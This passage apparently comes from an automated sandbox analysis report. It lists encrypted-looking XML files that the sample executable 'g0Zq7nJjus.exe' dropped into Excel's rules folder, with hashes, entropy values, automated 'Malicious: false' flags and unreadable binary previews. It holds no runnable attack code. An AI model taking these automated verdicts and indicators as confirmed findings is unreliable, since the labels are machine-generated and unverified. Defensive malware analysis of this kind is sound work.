Preview:	<?xml.%.W.9..m..a..u..x. ..S...jm4k<.$~.-N.4.....VB..........I.o....>.B.;.-k...].3B..S...P....}.)Y..A....".0i^..\|....AG~..t..?N......J..lq...P.U..W.!.;.K.H...u.C....J].o)WH@J.........%..v.d.G)P... A.~_..X.......$..P....T....a..p..M...a.apW3..%.G6....m{F6"+a..N....Ik0.~H...@\|...x\|.].0...oM...^.X+....o...]~.Y.2...9.7@.(.<.w.o..[I.@ .h.....yn.yu.".<....]k@.i.KY.0..Z....y._....{e.;vh@.b..P6.............5.......q.......s.=..I....~.].4.M..p..[A..P.q....r[f.f.."z.b:.....z.......Xg..x....-.3...J..G.k.pY.6e....L.>.>'q.O.TN...9...v..C=b..t...~...U... ..........U(.RyO..u..Zw..ee`F_..gFD...F..f....a....#.0.1...*....#..$.o...k..2.......$F6.....#?G....e...$....Q...F,V.x.h...a6..S,..l...b..@.....$.;..n...,8@B(\...-..nbn.1.W#....l....<...^..e.Y...kFB@.;......7.w..\|..kI...P1.K&....K...H.Qr1..\......y...T@F..j...G1_c.b..m.;.@9.7.4u;._..w.6:5.....</.q,q..1...P.......d...6:...<.n...u..R.a@i..u....D...e...^VK......d......Yy.t...w..=.....?....n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.670927654882306
Encrypted:	false
SSDEEP:	12:TgU670xzwo9trTsClN1puboId2vaW0DBYkQyZieXZWh2vkAXSUdNcii9a:TgU6UwkTsqN1WoIQv6DukQyZiepW4NCw
MD5:	DA009C63A4ED6DD06EA345D44074FBCD
SHA1:	03DB3F21B76B47569D99D1E0151B8F3C45253E24
SHA-256:	D8B5648A2E40EB6E6ADD349DF9D8096102D223AEB3C52D23DB758E8C32912530
SHA-512:	4DF9CC9BE1B472B3C79E78991FD9B101190BC8AFE126C65FCBC08DB9BB08254AEB18343A3EAB7F749FCBD6EA0066F3F076E979EEF65600DE5D9807202B467920
Malicious:	false
Preview:	<?xml.>....I.......#^c....1+.71.7... 3.4.X.Lu..<v.\.p....-&].....ql.}.L...z......%a....U6o0!.a./x.Rn[...g...YNC.S\|..2..D.c.W.....#"u...}.\|.....S_..q.b.gs.. .E,.....jI8.t...)W;.....UW.+r..q.S{z.7.i..6.K....ag.w6.`........0.......$Zy.X..w.'.........a..+k...Z.....o...Q.3.g.s...I.........1.Y2....1.T.u\|......1..c.n!...-...........-...#.s..\|Y...Tw..... Vx$...3..\b..U`4.d.....B.Y......p..`Q..^y...2.!K...5..N..~!..a...\|. ..[.e.*Zs ...../5cm.U.r$.%Y..lC...U<.jv.B.:.........YP.....e,M.u.'..1..'.Y.O.:.\| .D.q.0...d....x...8.K.I1..^....voMa-V.M!..l...g....gi.J.dq....u............).Fw......]:.v.r<..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.815916834252457
Encrypted:	false
SSDEEP:	24:6E2f0yF05W41Kr1JVVm1rl62r0KqpJQ6mPoT7A/V2bD:m9F+1e1JVV690hqPooWD
MD5:	798BC0B248BEA0412549ADD762D0FA1E
SHA1:	C32D76685E7E400345FE50D525276491A88A1FDD
SHA-256:	FD883CDA51EEE302136815870B32B18BBBE9F91F1605FE6D600DF460F40C803E
SHA-512:	FDCFC95534C3DC992B2D2667D8733DB6309C862C47EF49A946BFE1924B6EE2814C1A6EB91F05B35857463FFB2A1A762AE8D53C6511EBFECD0F95A2B2812CD629
Malicious:	false
Preview:	<?xml<..4.>.i.n.....5......].U.q\.....N..9...T(."/R......9....)q&. i<..M....m...N....l9X..1...EA.....G.d....l..%O....l./O.;Hb.x......Hr.c?..xT..q=...8\|!...f..$..'...}2.X.7[nq(.......-.Q.d..n..qs.l...{.$..[.<.:.1...`...3..@"Y..,+He.}.W.%.4x........:..kL.&...,.)(.].})GR2....C$.=..lE.uia.M..fARE.._.=..m..V.z...D.>.....u...h. p..b.w+_@,.....~xBJ...yh..3b.~..#G.T.5....'.S........Hz(.,...?.....=..Q8....Lq.7}..-.....j..rG:.p../.w.X...>..\j+..7h......;....U)K...:.7..}.Z.d....s'.Xm........s....t,..X.......[...../F!-5%..:.....\......4...W{_8.^A.K..8...F.`.E+:B......s....[5.4dp..i.P...:..w:..........G.f..M5E..-...=............z.&.....\|'].ql.w..\|&H../\|.TO..\...sy........X.b...S3.Po.g.. .L..yHw..E..s.....$.ft.e...#E...C..w..j.Y[..f.C.......;.oK2...&.s.W......_.h.Qq$"6f...q.Cj.M.W.7..a....{vBv....B...,..{..W..j.f.....zt..d...T.V........!...T#..h(....kGH.)N..l9..>X.k..k`.g..&."..VN.u..........I...Lnz_?>..<36d.1.6>-m.X.<k.....?;..;7.\......s..C]]...Ab.y$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6974280072372965
Encrypted:	false
SSDEEP:	12:d6kyhY6CxtlsNRV3ye2xFsAqr7tH3/Gdt2rzZ5lneBN31x2h0kgMZmb0eT1PkSUn:ZyY6nhtACCmsNlxM0kl0YeZb2bD
MD5:	1EAA60FE6A3C3C0A7ADC41782040A18F
SHA1:	CEE1C2C068FEB022819B7ED5933F2D4910077A49
SHA-256:	1ACE06EB4D4714827EF2DB5DA2226A1880101DEA870AC0B8B15A9CB9F0317263
SHA-512:	715EB8D09794BFA7C0520850F9BB50D4715CB3AA3266D07DD55B35D2AB869C7ABCE84B0F11AF9F53D9987B6AF87469626A178578C5271D5E53753B0DAE845250
Malicious:	false
Preview:	<?xml..H0h.8._..+..x.w..My.m..>.7.3...Hr\|....p......e.....C......h)E.).}5}...@\;e..%-..G...,.2.(..p8.z..kyct'4&}.......-..l.l....]........v......}.$..`OK..:...p.4...7(Ex.....F.j.......j....u.1.R.t.........g..y].4.....R...=..(....z.E.=......:@M...N...&.1.t.H.m../8..fcA...mF-..$.8'........!\|.....jq....J.WMz...&.>.d...^o4.\X...m..;J..@..30.z.F...<....G'n.N..q.@nZ.AF...bo..{..g..S.=kE...x..'.I$.4.}..Q.......4.~...Y._.&U8...=s..o.B..(..,..~X+W...r9;.g..1.L.'......[.N..'..B.n...?.q...U..D;.....1.M?^.<AG...[..e.(H..~.U...0`.#.b..Z2jN...E'AA..S....q.9.m0`..a.4....^....d..K.>:m.V3.=X.w..?V.5.;..B..I.&...IX.......Rw...pZV."f.W.....*..3m7$..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.799810019892021
Encrypted:	false
SSDEEP:	24:VK8fFPjbBsM//ed5OqQWkKX5aYjfihEAy+Q99dA7/sQX2bD:VPLbBsq/w1hX5aIiEX+89dGEQUD
MD5:	8290D1CCF1DB95D915EFB2980499F269
SHA1:	38067AA0E6A5ECCF07F04FDDBCAB15D32059FAFA
SHA-256:	8746E6B3C85C96411B438EFB7B1D0A9F1C2F61C47FC9EFD95DA54C331FFF0D4E
SHA-512:	8577D01E3FD36703ABA4A0F78B77EF8352DF537D8834A119DDE10A3136AB869FECD23CCC438F49AF4F3D287F453729E6211CD5B1FADA0AEAE42F851AE7EA7AAE
Malicious:	false
Preview:	<?xml1.b.]..5.c....?.emb...o..........[..c.E...>..~......u..#f.D9.>.....q.f..`m.'...Z...]:..u...NO6.....t#q...i..?.4$y7........"....#L....vh.@.N..%.>H...a.....9i..I..P....=f.rD.K.o.d.....TR......k...Mqx..0>p.......M.UHA.u.14.v>......v.>.,3.~......i....J.7...-~.WH....[..'.O...-.Co..k~i..D...y.A\|.t...q(.r%....M-XH.l..f.=..@.'!.1p..SlK.b.......: .mui..m{.Q\m-..}9..s[z=....FR>>,J.Z.Y.`N....5e.G.....Eqk_.1f.T,j.?N.]r. ..&...h.N.g.Wrh.A..9Z...wuv.rJ....f......~qK@...2R..Q..r.P2.pc..U<$;@7.....$N.<dObo.;.FJ'.7..Z..ug.w!t..AI.]...." @%.........nc.\.5...\|..=.v.Q4.szG...~...rG.m.P.?..........m...-....j....TN\|.i.d2.Chpi^L.]...2.8....h!..3.k.E.FY..%...w..z..r.x.Vg.B9>...fl.l....{.....\.H.]{kk;.H.b...c.xd..}...3p.`.[...?a.P.w>=D..N=@a.....N..n.k.i.....rM.hdX.?..6ss...#..r.B.E...m.]......l...p....4....'.^[....f....f.j.....:...w..!zq.......qF..]..Ez<...'.........2.>.V..\P....G......:.99Y........MC[+.Q~.2..m......Z.R..@f!.O..............N.....:.2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.9794115681482705
Encrypted:	false
SSDEEP:	192:dkwscOKF5dr6vIIP+NpYYtym9P+J9su1Pc7x17W9Ed3X:dkfM5dGQQ+/Y5GPSsGPUx17V3X
MD5:	3259E0D0956E5A2666F7A1CFE3C5E946
SHA1:	9FBE06B717A11C8C2A31BC56B4EB53101FA3F3A0
SHA-256:	343CDD72DF196A56166FCF7AB99D4A1F6A3374E8C691E6974B9A15F8B6BC543B
SHA-512:	1AB4CABAEB2BD1434711EF891D9C2BE72E0260AF36B466434C8DF8F2222E0A9B4445EED2CC4E1B923D174C294D3357E4B9E065D6C3BC9028528D27ED19B1103A
Malicious:	false
Preview:	<?xml..er...H....]..........!..0...e.5N2kYsx..g..{{#..A..M..^.V.+a.........NT...{..Z.A.y2$g.p..>ca.T.cD....0..&;y..bbX........YR.r0x!...q.y..}...B..X....b.a.c..t.U...ih(.=.~......aC....J......J.!........CVQN,.B....m.$sl?<.Ngk..j[.~B....)..Z.KK9....M..f.....~...V{&....w.7/.;...`.bEmL..3N.A..B...o..0.<.....o"...L.&R.`....S\...K...r.....4R....T...W.....e.^v....dH..>c..Q.3...\|.T../......)$..\.Gzbp....^..Hl....WP.k.Ir.(.V..).....c........@a...:...:..m}...B....I..h.D..J0.O.......[d9q.....vMQ.?....J..x...4\.czl..eQ...Y.......?.yp....qs..{....4...^....Y.[.+^.._.2....rN.HT2.~Y....}.Z....!..{ek.5m...Od.v..V....wgT....... 7.....\$<....&..0..JE..oP.nQ.i....1......h...?Hh=...1(..........c...K.[...?..Y/....7.:+.#:.I.0?.P.$.y.....5Y_/..z.Te..^.3......j.d.a._S&u.../.b[j.A....M..n.M.e....=...z..,....G...xK..!0.c.tk....B.-i.>.N..NH@..a?.m...)...3..yg..o..G..........m.y...\|.r..31<....{......\.hb.Y.8.0..]....3...A....]el(.2z...3VvA.9..1 ...KG.I..eA.I/}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.836924666093478
Encrypted:	false
SSDEEP:	24:nDjgng3vrLbucwsvRAmDP1VADr7g+PGKEq/0M9lDZZY2bD:4Gvbxwq9ZSTK16ZxD
MD5:	0CE512B5E3C0B1240BE4CEDB841E3E3C
SHA1:	417DA3520A632CB8D037694F86E69BDD49EDA44E
SHA-256:	0165D4A9F30EDD547B9C607235CE1CD65C5D71ED312B79F22CD357D694549867
SHA-512:	9A05081A4ECD711C0AA320BBEADF4D31CD1ECB078597FFB264B2249345F81BDDFE29403D4E49DBB97858090E8884BF334D7C49393191BAD89C14D19C7C650BD9
Malicious:	false
Preview:	<?xmlh...\..;.9?...Qc..'~&.d.5...F.GZ.+..Eb.DS..,...`..k...x...Rh..#..q.a..3...M..-4h...g...q..]...b..;.....X.&..48.$.....^.L...@Z......o]>Y....6..f.ZYQ.u.RQ.9D..'.Pv..G.....OG.;.J.... ..3.k~.5F..~.......U._Y...3..q...s.; h..z.X...C ..3~&L-m..@~.H..J..D..C....x.,.>c....,<..._$.......k.i...W.M.I=i...,KB..7..L-D..b.Z....Q.k.y[.J./..iON}......(.....^.M..[..ig.g.H...`._p.7.....s:....K....]_..o..4Xt....v..<....h..4..m,g.6?.5....<D#.............?P0J.....!.eR...Z.Z.{....A..yRwC....)...(!...Q0.Q...A>J...)......3........2..a..=..9.l.1X.71.K.iy.".)OJ...f..H.~?.g"...Po..gv.?e.NS.U#.`....W.~WG.....G....y......#.Jg......!....S3....2......;-.s....^.{....:.F..,.\...c......E.....2.4..`r?...F...T....#.......v^...........q.%.......c...n..H.....D...u...X.e=..5..\|Y..i..e+.ch..w \........y{)[..8..I+.....I............16...S.(..5..h....J.5R...`...g.......trH....7......@E......n...<Re.o....c....q>9%>.......e...].....i.......5^&wl...mMsRxMUuXypapZbGOAfxD9pczHmW8zV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.783078885305215
Encrypted:	false
SSDEEP:	24:d1Rm/PXV/Jn8rr/ZB8DU46S+TwtvTewejQuZPt8xbp6nSZAgfq2bD:kHv28446S+ctvTtuscn6NfhD
MD5:	90BE02D4A1BF321470C0E1567964FDB1
SHA1:	31D601B7AAB1239F7CA282867AE342EF632B986D
SHA-256:	3F802EE4C5D29A87C2FFB567B0608BDED04577D270278BA1AED26D86B569C3FD
SHA-512:	77C1831863438C9A24B221B32F3B5FE3802F3C539CADE85744C97D011010A7A85C6C9E879CBAB4C268D64D8B56F0E4529073776041713A5EC14364167851EAD0
Malicious:	false
Preview:	<?xmlYM......+,N[[.ZU..<k.M.1.H r.1x...";N.O..s.c.mt......\..J.S.L...Q..@5.X@..#.@?......^....A.@...T$dF6.........1g0..z0...)..l..C-...i......4AYhp..P....6..l..]a..2i..W...N!h..V.P.? ..&....p.D&........'.f.`.Mu......,....hC......y.QO...8^...#.rM..&u........~.`L)..5U.67X...Xy......z$.....JU"....`.r.c.D./...yp-...fb:.8.....,.G.\\..I.`jb...t1.......'.7...s..(...Rn./...-.$d..qZa.A..'l.?..S..M...y...&.'$..e.G.......2.f.U..._....p.....?UXF......Z.....<....}.v.'.2....C.7m...ewg@.4l.z-Ub......E$.{.....wwd4Y...x..U..T.#......0.....a'...........p2z......k(:@.V}U--..d...........D...I.=.{v...v..TO.......,Mmt/.eMa+./..X..\|......Vd\|.^.v{..{...... .....G..^.....^%.?~..h.)r.(.9.[....l....q.&..L.j.......o...vs..?..W..6E7C...\q._c.....f.....y.....9..k.O..........-...?..&/5..@...D..P..W.C@.U[.=0.}..d.....D.Q.,.......2.%.^.C..@..~..\|c....V.).S.<+..}H.Q/5.J...A.......2-eS.4......D.......*.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.938729192263327
Encrypted:	false
SSDEEP:	48:L0OOrhTgnnN+7XAH+8JwW6qq41fNOEXTVslX3rWCwei03cQkGEEtjL6lVfVIVB3G:Ls1xaJDTq4/lVst3Da0MrGEGmCVJ5aSA
MD5:	B6241BA033A727EA2E700E940D6DE6F1
SHA1:	4D1A1AB93A62855E46D65FE5BB06E2984F657258
SHA-256:	30E9C947B349AA552FB58DE5991A96714DAE9FF923D01E051EFE01CF11EA6EE0
SHA-512:	EC3BA1E3B05185F199346417EACD013DF7A315A741CEE7D6EDA3D804D02256D491FBDBE87062C34596925ABD7FC454BB0712E7D22E9469AF1E8806124C972E6F
Malicious:	false
Preview:	<?xml...\|a..!...D..dYn..D..YU}^5..(4.=.k.Uk..k.6.m/..[J..0.+B3......~W..d..6x".xu.G....Q....9T4%.~M........(,...l.....TI..!......>.....4....U...M............N..L...`".n}.......TA$...})......D....U`.B...{ ..w!.J..0o....b...-.9.9;.u.K..........<.?...^0....rZr..@K.H`Z....;.=.4....V..V.......^4..........1.....x.......... .AG...~l.0B/m..e...c....a.W...4qL3.2..8..K.>..s...-...r...V...M.E.q0$I..Vg... ..u...`....tJ.A.B.E.W9..WG..j....QP_......."=.gJ...].aSDuP.DE...G....g....~z....Pp. ..C....f.8...^.,G(........@..d..f.aa..;.-.......e`.L]v.A..z....1..Cyv~.......g.7...#5.?H.9.......#.A.:.....u..,Nj..e....r.vX...O1..PM..~y..4;....s...#.2...s..O...0......j..C.qr..A...Pj(z.n8.q(..qHO3@Q.'.V.nG...UI.8....&....K.....>....8S.9..3s.;)......,D.D.H.5.">5h.@..E .CA.....D.{Tb.....9.g..p...4.#e..n\...j.(S.T.N%Hy.j...x.N.....l.....S.!F........8........%"[.~...F.@.`..{..Yz.D......G...$.......p}..s...,...C.%EZ:h.'.).......Q..y.~..~!n......m.l..58gm.d..T....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.927515828183688
Encrypted:	false
SSDEEP:	48:80M3WSIFXkcDo0xnukZWJiNypaCrH4JPs6S+DRQnUpQfUphtlWiahBV6gJfVD:zMoBvc0xnuP7JT4O+1eUp3lQV6gtt
MD5:	8D19839E323405DF7D38160A2E73BFD3
SHA1:	9EE38E528B1BD4C310E5195D440ED871C067B171
SHA-256:	48E91A4B7609493307F5405EE7BB19F930AFC1328BA5C8E21477DE7B87DDE541
SHA-512:	F30DA1488E747C0EAAA556763A7D2209B12DCC2AA53ED5CC2A47D5C9A322209BCFF6A85341A4B326AC2A5A3F6DC65115D297426192B0E7134FA3D8A132DA3156
Malicious:	false
Preview:	<?xml@.....<....%.>.....u.Vc...).I...c..Q.N.J..-.D.t.Yp.!..e..m.}.......R;9.Eb.X.J-...j.....>...e.3...&q@.../rS......:..u.z..f.vg,.._..5Tf...\...i.n..2.... V....(^LRV.4.......F..o.T..b..t.7...^...`.?4.i.C.+......H0..;".....B.b.M.......j.~....y.....%.el.b.hL...3.e..A...^....x..{.U+...!...q....U6[%y..)3Y..l..7..wHN.~X.".Dfa...A...85.......@.kI...T....e..oH4w...{w..DB.zs...>.7..q.L."...e0.E2</q.5.~(..\....vS.......y.le43iAdS.5.9...R.j~...#.....'..~..5K...x(..G C.-..s..;...Y...k}.w..F..M.n.....6g.JNmt.....S.....b.4.LB"......\...VZ.==}fj...n......2...-.v60jQ.A.X....<%.-......%>..9./^.R...._X...0jJr.....(L'............~...<.FMb....K#..5=.9n..u...6.....7..e....[Q...@...R..9.F.....o...5p..'!90d.=...z..3...M.F....9_ .......\....7<:.g..D.=1....*......C.Sl)..U..A....g:s..`?j...j.G@.o..=.o.~LI$.&54.....p..B...\|.E==s....`.ZM....;....m:V.O.i......G..e.W....%.8....".......;.)y.....].....S(J%..\z..\lG...).s.......u.\|........E.;.L.>...3'..,%...? ,.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.9259987060351635
Encrypted:	false
SSDEEP:	48:uHP8F7Gp4qmO/loubh44RLCAzYsS503UVoG58iTdypZ4AEwFH+T8dWzD:SP8pHO62fJJdBgoGeiTdCFeT8G
MD5:	D348D6B6535E46CE4F07C049A2212ADB
SHA1:	171FDFEDD56D307209650B89F510572F23CEB8D5
SHA-256:	3FC09C4BF92A0100C506D34DFECBB09B0DBE0543987B3CF22E3908210710548C
SHA-512:	41EE780B19220561038C57126EBEA3604C788AC252F71F2BEC32BC5739B1C5A6BFCE4B5BB3FFFF8389D6D03A1C87FF3C8837ACB3F3247708DFB56649F69ED281
Malicious:	false
Preview:	<?xml.s..;0.....[....,'.....^k......~....u..kYXJ5n.].z.i...#7..}(.l......../q..$..}./..i#...9..CG$.......K>.)^W.....sF.U...G.w..D..E.....i...H..v..\|.Gn..B.`f.v......pCL.{N.....s.q.p...U..@......3QF.j.FMD...`....C..}}.2D&...-..m..u.i..A%...)s...?...]x,:....b.`%.2.K3.!L=.@U........<B....\|d1#1.....l~...^C.q...w......6.'.a..[.i...c."...O.^=....%fh4..B..]V7}.....M#7.:?.q.xb.y...~K..8.eva+...z..-..T.$$2....>.^D.....v.{...h"..Q{f..gR..&O.k]7^...z../.B.7..<i.t.....P.]%z@......M..{?..\k...k....Rm....Fj..)1.z.7^...:Bf....pf.k."....yz.).C..~'.4.)...R.~..V....bZ_....xh.#%.t%..f8.R......l......../.v.>..9.G#.}+".....T5...9.....K.O.N.&.\|a9.C.z....{.m.N..r..1&%.R.._b.#.4....5U....}.$r.............Q...m6..D.).K.@.0.X.i.<+......M...j.T......~.`.\.......Q.K.._...#...;..~r4t.9O.Pm.M>o....98.\|.k.3\.1....uS...6.....b...:^v....5..g..F_....u?.,.5h.zv.....ep . ofp.Y...N.(..kx....`.../7....Q..................Hp.......XB...C.H.gmh.Od>*0...X7d..........h..X.7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.713905991654621
Encrypted:	false
SSDEEP:	12:UGBtzI8AQW1GlT2U0EJBaPScJogbK9gjtJWGFX44YuxVtGwlyE793zPSUdNcii9a:j/zEQy7U0WaKCKSY044YUVtTlyak2bD
MD5:	030A4C12A505006686A60B52B31CB845
SHA1:	E3396623F8A8153CC0E9C73BFC1E05805D907EE2
SHA-256:	D2666047C7E52F8A04500C07E1916A1E782F275A24FC53ABC99A13803263E91B
SHA-512:	3139491FC99BB346109ED33ED7F9E87CDB42AD7DDC9BC9FF1AF879A267C2E988703D477BA2B5D6B683D38CAA1DBCEFC32CCEB0318AFC0D91FF4E81140E5FB5C8
Malicious:	false
Preview:	<?xml.H}i.....3&..y.z........R8...64>x....c.-..p.f...IN....G.v....i...N..1,...#..@.P._..:..K$T..4w_4..n-.M....H.e.-.._.,.Q-.".":..\.........D.=....FU.;..l0W..J.x....%..:.8Z.`^Z<$.)....}......++.q..Q..uZ.L.......pU........zH..O.k.........)....8..9.M.... O..I.jN....$......._...0...].....Z../....9...!.JcmJ....t...l'vs#.D.s<E9..,v..0z..\.........q..H/.....b.zC.2...1..]v.....7K.7....l:.2.\|v..S(8.......A......Y\e.0.s"..\.7..ubD..].?...U..m...+sL..L7..x.E....0.P.g~.+.....Lsy.....M....WR%.w..<cH.j..z2..c5~..y..X.\|G...\.N....c...9.B.)..#...n..HNfND.y...Q~...C.13....9`.,....e..c.F.....}.OT-..I...n'q...J..\+y.f..!A.w.:..C.g....,;Qw.U<.....F.Y5.V.~.#.]}...'..Pm..r.BS..W.......8.je.!..+...K(..=3?.JW..O.Uf...t.y-Q.*.z...3.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.802371020863988
Encrypted:	false
SSDEEP:	24:XDpxmdyx8y8JJN2IlYy6MCRGIyprpNsMBliivqICeH/FQ0Yqo2bD:XDeyx8t9YoCII6NRl/9QlqbD
MD5:	C48F0574F0EA206ED33CBAD7C12D6681
SHA1:	AE047D4732CC97DF136F77496B4891DDD3B762FB
SHA-256:	BD6FE29D9C26015C0BA410242714101C6859501D8FD8CC3290BC7F209F53303A
SHA-512:	6D8BCACEBB3C9A49299DD00B7DB03D08076BC9FACA8BCF83F14E4CE3DCB25834490888C5D10EBDA6BA39D5F33DE5CF916A1C6CE99B2B607F9F8974D6375F56D4
Malicious:	false
Preview:	<?xml..s/..k.......E.....:...{.vyb.hr...sT...DsH.....QO........Q...]....c.......DSq..Y.M.A..(h=F.;........,.........h.W......2...:.f.... .....8..Wy..W[p......\|.1._V...`P.......or..........Z..>.."........q.....E...[A.)....h.3........;Ri...>.A..-.:.O..li..i_.q.Ax..:...2Uw.....D...S..FO..B...Q.+.4.#\..o.H(l....8v..;....Ku......!...x..j...]....xb.4..e.e..:.%.f..L......g.id....~.xH.^.....}......x....m..Hj.....5..H..>H..qK.......YY.-..=.......e....oo.~......$?.Q..A..anw.....!..x.B...u#/..f.Kh..on..s.h."..x\|...O..1...D/.C.h....Y......\$Y...c......g<j....7\.^ .eq.7X..Q...Q8'.D}u...LP.T.&]....R..=..x.Aq.D4..DG.6...i.....VBC.1....N.J.....P\....V.{.b..].d.iS<.ud@.f+..1...(P.<..*lW...J.K..!........t..c...H,.....MS.D.].0+J:.......Qy:u.......l..E]..Y9O.V...:...}.\.8.x..7..mp7.(..S+Q.Tg....[...2}$B.-....t.^...&S....$.Bw...x....).......$.N..8b....o.8.XM..xY.K.D.\|.R.2..'..~.lk.G.;."~..T.-.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.861773586320326
Encrypted:	false
SSDEEP:	24:EwxX1J17Rak85vNgTqT6EBt3APezFMDhoywHJs5sjKj6/UXJpKikrErD12C62bD:h1ASTqzv98Wywu5sjKosWiKErdD
MD5:	092F379677275896CACD6E3EADD239DC
SHA1:	DD0429F6EF424A1DABD3C09ED66CBE3A3FCC2BB5
SHA-256:	99C6C9317961BDD3D8131B79C3C4D8BE6264A7E9E72BD1E3EE5BE4BA244C89CA
SHA-512:	606B51184BA42C57EAC2C013C74BEF04A4038538FF747B2EB7B83629BB1D163DDFBBE433D73C5717DC2300D7A1DE243DF3243E4D4B9FB1CD630BB19FAA1B627B
Malicious:	false
Preview:	<?xml...$.jUl.W.!n.+.bx.:.../cR...c^..<..uNn...V...T2...}4....nH.Tw.k.Q....L./.m~\|.DE.p..'..,T.@. ....h.I..D....+y......F..<$o......D.......Oy...%.-&"....._...$.V2....<.\|.....gx..y.yl...QJ^......OX.Mi.y.\x}d...U.,..$Qp...4.`!.<\|.............-.F....B476..9...]..%.l.&...K6>.s>.GQZ.t.+.:CQ..C40...W....q.h.m.Du.l.U....p......=-p..s...m2h...w..G.j.n.[....LN{.x$.0=....{..?..... .$\...\|}..;.....=(JL;_.~.A.AJ....u.9..ot.#.$j..#'......a.).@ ....&3.....O.. ..?!.....E.Eoa`.-."Q.....w..~..4C.v^P'.=....x.#H.3..8&v...Ws...m...Z......B....<.r5t..M.L.>EL.....>...&B..}.Z ....Z.*.l.........h...........iG......%}Y~.9.?..........w$...G....H....c;.%.z...G3...X..(.~...8,.,.....{S..'(.\...e9......g^.O...'..V...........S`.uz.~O>N...;t.._.t".)...l.8.Ed<]w:.....t~9L.........0W.1..b..7SN..k..R.........]Ai........4\.n.t._.RYn...l1.nz.....>j....n.S.w#..G...%..'.].T.}......9...S.G..=.S.V........v..^i.4!.:S?P@...).n.C...;...d...)j..uL.6>U..\<..`....C..3.<...@.@OB..o.K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.876685610164933
Encrypted:	false
SSDEEP:	48:aMABrw4yfcKPEfK0R3Z5AUIpx5yEE56uaG6bflJZD:aMAa0KUrIKgudyfx
MD5:	5FDCC8718AC8F8E68EC3122B35F65C08
SHA1:	464D5A0C99D461701CCC6312F4AF278B804451BD
SHA-256:	E6038D20637F0647D98897C275C4CB39DB946B575C21ACC3CC8DC25A132E1CFE
SHA-512:	60B13035D0592887A15BABFE1A80A59243AC41A82DB8BC9A1947B4A04B898D7913AC035329FEACB9A5660205DAB1792950FDF18A4C3A948C1882824482940EF7
Malicious:	false
